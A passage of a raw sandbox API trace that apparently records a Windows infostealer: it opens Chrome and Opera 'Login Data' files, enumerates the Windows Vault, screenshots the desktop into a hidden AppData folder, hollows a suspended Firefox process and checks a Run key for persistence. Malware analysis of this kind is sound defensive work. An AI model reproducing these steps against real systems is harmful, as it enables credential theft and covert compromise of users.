DataLength=0x1a, NameLength=0x1c, Name="CurrentVersion", Data="25.0 (en-US)"), ResultLength=0x29e188) returned 0x0 [0164.090] NtClose (Handle=0xc0) returned 0x0 [0164.096] RtlCharToInteger (in: String="25.0 (en-US)", Base=0x0, Value=0x34cf84 | out: Value=0x34cf84) returned 0x0 [0164.096] NtCreateKey (in: KeyHandle=0x29e1a0, DesiredAccess=0x20219, ObjectAttributes=0x29e038*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\SOFTWARE\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e1a0*=0xc0) returned 0x0 [0164.096] NtQueryValueKey (in: KeyHandle=0xc0, ValueName="Install Directory", KeyValueInformationClass=0x1, KeyValueInformation=0x34cfe8, Length=0x200, ResultLength=0x29e188 | out: KeyValueInformation=0x34cfe8*(TitleIndex=0x0, Type=0x1, DataOffset=0x38, DataLength=0x4e, NameLength=0x22, Name="Install Directory", Data="C:\\Program Files (x86)\\Mozilla Firefox"), ResultLength=0x29e188) returned 0x0 [0164.096] NtClose (Handle=0xc0) returned 0x0 [0164.096] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="PATH", Value=0x29dde4 | out: Value="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x0 [0164.106] RtlSetEnvironmentVariable (in: Environment=0x0, Name="PATH", Value="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files (x86)\\Mozilla Firefox" | out: Environment=0x0) returned 0x0 [0164.106] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll", BaseAddress=0x29dddc | out: BaseAddress=0x29dddc*=0x0) returned 0xc0000135 [0164.549] RtlSetEnvironmentVariable (in: Environment=0x0, Name="PATH", Value="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" | out: Environment=0x0) returned 0x0 [0164.549] NtCreateKey (in: KeyHandle=0x29e198, DesiredAccess=0x20219, ObjectAttributes=0x29e010*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\SOFTWARE\\Mozilla\\Mozilla Thunderbird\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e198*=0x0) returned 0xc0000022 [0164.549] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x29dd48 | out: Value="C:\\Program Files (x86)") returned 0x0 [0164.549] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtPathName=0x29dd1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.549] NtCreateFile (in: FileHandle=0x29dd3c, DesiredAccess=0x120089, ObjectAttributes=0x29dd04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dd24, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dd3c*=0xc0, IoStatusBlock=0x29dd24*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.549] NtQueryInformationFile (in: FileHandle=0xc0, IoStatusBlock=0x29dd24, FileInformation=0x29dc7c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29dd24, FileInformation=0x29dc7c) returned 0x0 [0164.550] NtClose (Handle=0xc0) returned 0x0 [0164.550] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="LOCALAPPDATA", Value=0x29de00 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0164.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", NtPathName=0x29ddd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.550] NtCreateFile (in: FileHandle=0x29ddf4, DesiredAccess=0x120089, ObjectAttributes=0x29ddbc*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dddc, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29ddf4*=0xc0, IoStatusBlock=0x29dddc*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.554] NtQueryInformationFile (in: FileHandle=0xc0, IoStatusBlock=0x29dddc, FileInformation=0x29dd34, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29dddc, FileInformation=0x29dd34) returned 0x0 [0164.554] NtClose (Handle=0xc0) returned 0x0 [0164.554] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="winsqlite3.dll", BaseAddress=0x29dd90 | out: BaseAddress=0x29dd90*=0x0) returned 0xc0000135 [0164.555] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x29dd50 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0164.555] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", NtPathName=0x29dd34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.555] NtCreateFile (in: FileHandle=0x29dd54, DesiredAccess=0x120089, ObjectAttributes=0x29dd1c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dd3c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dd54*=0x0, IoStatusBlock=0x29dd3c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0164.555] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="vaultcli.dll", BaseAddress=0x29df78 | out: BaseAddress=0x29df78*=0x75220000) returned 0x0 [0164.625] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtPathName=0x29de48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.625] NtCreateFile (in: FileHandle=0x29de68, DesiredAccess=0x120089, ObjectAttributes=0x29de30*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29de50, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29de68*=0x0, IoStatusBlock=0x29de50*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc0000034 [0164.626] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtPathName=0x29de60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.626] NtCreateFile (in: FileHandle=0x29de80, DesiredAccess=0x12019f, ObjectAttributes=0x29de48*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29de68, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29de80*=0x110, IoStatusBlock=0x29de68*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0164.626] NtQueryInformationFile (in: FileHandle=0x110, IoStatusBlock=0x29de68, FileInformation=0x29ddc0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29de68, FileInformation=0x29ddc0) returned 0x0 [0164.626] NtWriteFile (in: FileHandle=0x110, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29de68, Buffer=0x308730*, Length=0x28, ByteOffset=0x29ddd8*=0, Key=0x0 | out: IoStatusBlock=0x29de68, Buffer=0x308730*) returned 0x0 [0164.627] NtClose (Handle=0x110) returned 0x0 [0164.627] VaultEnumerateVaults () returned 0x0 [0165.278] VaultOpenVault () returned 0x0 [0165.278] VaultEnumerateItems () returned 0x0 [0165.279] VaultFree () returned 0x0 [0165.279] VaultCloseVault () returned 0x0 [0165.279] VaultOpenVault () returned 0x0 [0165.279] VaultEnumerateItems () returned 0x0 [0165.280] VaultFree () returned 0x0 [0165.280] VaultCloseVault () returned 0x0 [0165.280] VaultFree () returned 0x1 [0165.280] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="gdiplus.dll", BaseAddress=0x29de34 | out: BaseAddress=0x29de34*=0x74360000) returned 0x0 [0166.382] GetDC (hWnd=0x0) returned 0x20108e9 [0166.382] CreateCompatibleDC (hdc=0x20108e9) returned 0xf01094a [0166.382] GetSystemMetrics (nIndex=0) returned 1440 [0166.382] GetSystemMetrics (nIndex=1) returned 900 [0166.382] CreateCompatibleBitmap (hdc=0x20108e9, cx=1440, cy=900) returned 0x2e05091d [0166.384] SelectObject (hdc=0xf01094a, h=0x2e05091d) returned 0x185000f [0166.384] BitBlt (hdc=0xf01094a, x=0, y=0, cx=1440, cy=900, hdcSrc=0x20108e9, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.387] GdiplusStartup (in: token=0x29e208, input=0x29e1d4, output=0x0 | out: token=0x29e208, output=0x0) returned 0x0 [0166.489] GdipCreateBitmapFromHBITMAP (hbm=0x2e05091d, hpal=0x0, bitmap=0x29e204) returned 0x0 [0166.519] GdipGetImageEncodersSize (numEncoders=0x29dea0, size=0x29de9c) returned 0x0 [0166.520] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x31fdd8 | out: encoders=0x31fdd8) returned 0x0 [0166.521] GdipSaveImageToFile (image=0x3382230, filename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", clsidEncoder=0x29e1c4*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0166.934] GdiplusShutdown (token=0x35dd8) [0167.009] DeleteObject (ho=0x2e05091d) returned 1 [0167.009] DeleteObject (ho=0xf01094a) returned 1 [0167.010] ReleaseDC (hWnd=0x0, hDC=0x20108e9) returned 1 [0167.014] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x29dd48 | out: Value="C:\\Program Files (x86)") returned 0x0 [0167.014] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtPathName=0x29dd1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0167.014] NtCreateFile (in: FileHandle=0x29dd3c, DesiredAccess=0x120089, ObjectAttributes=0x29dd04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dd24, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dd3c*=0x13c, IoStatusBlock=0x29dd24*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.014] NtQueryInformationFile (in: FileHandle=0x13c, IoStatusBlock=0x29dd24, FileInformation=0x29dc7c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29dd24, FileInformation=0x29dc7c) returned 0x0 [0167.014] NtClose (Handle=0x13c) returned 0x0 [0167.026] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtPathName=0x29daec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0167.026] NtCreateFile (in: FileHandle=0x29db0c, DesiredAccess=0x120089, ObjectAttributes=0x29dad4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29daf4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29db0c*=0x13c, IoStatusBlock=0x29daf4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.026] NtQueryInformationFile (in: FileHandle=0x13c, IoStatusBlock=0x29daf4, FileInformation=0x29da4c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29daf4, FileInformation=0x29da4c) returned 0x0 [0167.029] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x29daf4, Buffer=0x354f28, BufferLength=0x43470, ByteOffset=0x29da64*=0, Key=0x0 | out: IoStatusBlock=0x29daf4, Buffer=0x354f28*) returned 0x0 [0167.089] NtClose (Handle=0x13c) returned 0x0 [0167.092] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x29dfe8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x29dfc0, hNewToken=0x0 | out: lpProcessInformation=0x29dfc0*(hProcess=0x138, hThread=0x13c, dwProcessId=0x8a8, dwThreadId=0x914), hNewToken=0x0) returned 1 [0167.117] NtQueryInformationProcess (in: ProcessHandle=0x138, ProcessInformationClass=0x1a, ProcessInformation=0x29e04c, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x29e04c, ReturnLength=0x0) returned 0x0 [0167.117] NtQueryInformationProcess (in: ProcessHandle=0x138, ProcessInformationClass=0x0, ProcessInformation=0x29daec, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x29daec, ReturnLength=0x0) returned 0x0 [0167.121] NtReadVirtualMemory (in: ProcessHandle=0x138, BaseAddress=0xfffde000, Buffer=0x29dd60, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x29dd60*, NumberOfBytesRead=0x0) returned 0x0 [0167.121] NtMapViewOfSection (in: SectionHandle=0xa8, ProcessHandle=0x138, BaseAddress=0x29db0c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29db08*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x29db0c*=0x3c0000, SectionOffset=0x0, ViewSize=0x29db08*=0x9c4000) returned 0x0 [0167.123] NtCreateSection (in: SectionHandle=0x29db00, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x29dac0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x29db00*=0x144) returned 0x0 [0167.123] NtMapViewOfSection (in: SectionHandle=0x144, ProcessHandle=0xffffffff, BaseAddress=0x29db08*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29dac0*=0x173c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29db08*=0x3790000, SectionOffset=0x0, ViewSize=0x29dac0*=0x174000) returned 0x0 [0167.123] NtMapViewOfSection (in: SectionHandle=0x144, ProcessHandle=0x138, BaseAddress=0x29db04*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29dafc*=0x173c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29db04*=0x70000, SectionOffset=0x0, ViewSize=0x29dafc*=0x174000) returned 0x0 [0167.142] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x3790000) returned 0x0 [0167.151] NtClose (Handle=0x144) returned 0x0 [0167.151] NtReadVirtualMemory (in: ProcessHandle=0x138, BaseAddress=0x12d0000, Buffer=0x3690048, NumberOfBytesToRead=0x44000, NumberOfBytesRead=0x0 | out: Buffer=0x3690048*, NumberOfBytesRead=0x0) returned 0x0 [0167.160] NtCreateSection (in: SectionHandle=0x29ddac, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x29daf4, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x29ddac*=0x144) returned 0x0 [0167.160] NtMapViewOfSection (in: SectionHandle=0x144, ProcessHandle=0xffffffff, BaseAddress=0x29ddb0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29daf4*=0x44000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29ddb0*=0x620000, SectionOffset=0x0, ViewSize=0x29daf4*=0x44000) returned 0x0 [0167.163] NtUnmapViewOfSection (ProcessHandle=0x138, BaseAddress=0x12d0000) returned 0x0 [0167.166] NtMapViewOfSection (in: SectionHandle=0x144, ProcessHandle=0x138, BaseAddress=0x29ddb4*=0x12d0000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29dfe0*=0x44000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29ddb4*=0x12d0000, SectionOffset=0x0, ViewSize=0x29dfe0*=0x44000) returned 0x0 [0167.166] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x620000) returned 0x0 [0167.173] NtResumeThread (in: ThreadHandle=0x13c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0167.173] NtCreateKey (in: KeyHandle=0x29e288, DesiredAccess=0x20219, ObjectAttributes=0x29d9f8*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e288*=0x140) returned 0x0 [0167.173] NtEnumerateValueKey (in: KeyHandle=0x140, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29dc4c, Length=0x200, ResultLength=0x29e04c | out: KeyValueInformation=0x29dc4c, ResultLength=0x29e04c) returned 0x0 [0167.173] NtClose (Handle=0x140) returned 0x0 [0167.173] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e034, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0167.173] NtCreateFile (in: FileHandle=0x29e054, DesiredAccess=0x120089, ObjectAttributes=0x29e01c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e03c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e054*=0x0, IoStatusBlock=0x29e03c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0167.174] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e250, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0167.174] NtCreateFile (in: FileHandle=0x29e270, DesiredAccess=0x120089, ObjectAttributes=0x29e238*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e258, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e270*=0x0, IoStatusBlock=0x29e258*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0167.174] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0x450000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0167.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x450000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x450000, ResultLength=0x0) returned 0x0 [0167.263] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0x450000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0167.263] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0172.351] NtCreateKey (in: KeyHandle=0x29e288, DesiredAccess=0x20219, ObjectAttributes=0x29d9f8*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e288*=0x140) returned 0x0 [0172.351] NtEnumerateValueKey (in: KeyHandle=0x140, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29dc4c, Length=0x200, ResultLength=0x29e04c | out: KeyValueInformation=0x29dc4c, ResultLength=0x29e04c) returned 0x0 [0172.351] NtClose (Handle=0x140) returned 0x0 [0172.351] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e034, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0172.351] NtCreateFile (in: FileHandle=0x29e054, DesiredAccess=0x120089, ObjectAttributes=0x29e01c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e03c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e054*=0x0, IoStatusBlock=0x29e03c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0172.352] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e250, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0172.352] NtCreateFile (in: FileHandle=0x29e270, DesiredAccess=0x120089, ObjectAttributes=0x29e238*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e258, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e270*=0x0, IoStatusBlock=0x29e258*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0172.352] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0x450000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0172.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x450000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x450000, ResultLength=0x0) returned 0x0 [0172.418] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0x450000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0172.418] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0177.421] NtCreateKey (in: KeyHandle=0x29e288, DesiredAccess=0x20219, ObjectAttributes=0x29d9f8*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e288*=0x140) returned 0x0 [0177.421] NtEnumerateValueKey (in: KeyHandle=0x140, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29dc4c, Length=0x200, ResultLength=0x29e04c | out: KeyValueInformation=0x29dc4c, ResultLength=0x29e04c) returned 0x0 [0177.421] NtClose (Handle=0x140) returned 0x0 [0177.421] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e034, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0177.421] NtCreateFile (in: FileHandle=0x29e054, DesiredAccess=0x120089, ObjectAttributes=0x29e01c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e03c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e054*=0x0, IoStatusBlock=0x29e03c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0177.421] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e250, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0177.421] NtCreateFile (in: FileHandle=0x29e270, 